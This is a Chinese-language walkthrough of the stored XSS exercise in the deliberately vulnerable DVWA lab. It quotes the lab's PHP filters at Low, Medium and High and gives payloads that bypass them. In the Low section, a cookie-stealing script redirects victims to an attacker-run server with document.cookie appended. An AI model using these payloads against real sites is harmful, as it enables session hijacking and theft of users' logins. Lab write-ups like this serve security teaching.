About
Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。
XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。
本节展示的是存储型 XSS,存储的意思就是 Payload 是有经过存储的,当一个页面存在存储型 XSS 的时候,XSS 注入成功后,那么每次访问该页面都将触发 XSS,如留言板
1、插入留言 → 内容存储到数据库;
2、查看留言 → 内容从数据库提取出来;
3、内容在页面显示。
Object
将所有人重定向到一个你钦定的网页。
001 Low
该等级下开发者没有做任何防护,我们可以在文本框输入任何内容。比如我们在 Message 中输入:
<script>alert("You've been hacked!")</script>
我们每次进入该页面,都会弹框显示:
我们可以进入数据库查看存放的信息:
我们试一试重定向到另外一个服务器,假设攻击者在自己的电脑上运行:
python -m http.server 1337
以运行自己的 Web 服务。然后攻击者在留言区评论(如果长度不够,在文本框按右键选择 Inspect 修改 HTML 前端长度限制):
<script>window.location='http://192.168.56.1:1337/?cookie='+document.cookie</script>
提交评论,然后攻击者的服务器就能收到对方的 Cookie:
002 Medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
开发者在该等级下添加一些保护,比如用str_replace()
函数替换<script>
字符。更关键的是使用了htmlspecialchars($message)
来把特殊字符转换为 HTML 实体字符,例子如下:
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // <a href='test'>Test</a>
?>
虽然 Message 字段加了限制,但 Name 字段没有加。我们直接在 Name 字段进行 XSS 注入(记得修改长度)
1、我们可以尝试大小写绕过:
<ScRIPT>alert("大小写绕过")</ScRIPT>
2、我们可以尝试双写绕过:
<sc<script>ript>alert("双写绕过")</script>
3、我们还可以尝试其他标签绕过:
<img src/onerror=alert("其他标签绕过")>
每次进入该页面会连弹三个框框:
003 High
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
观察源代码,我们可以知道:
- Message 字段:使用
strip_tags()
函数从字符串中去除 HTML 和 PHP 标记。 - Name 字段:使用正则表达式移除模式
<s*c*r*i*p*t
。
由此观之,我们可以通过<img>
标签在 Name 字段绕过:
<img src/onerror=alert(document.cookie)>
进入页面后会有弹窗:
References
- DVWA 通关指南:XSS(Stored) - 乌漆WhiteMoon
- DVWA——XSS(跨站脚本攻击) - 戚源
- Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition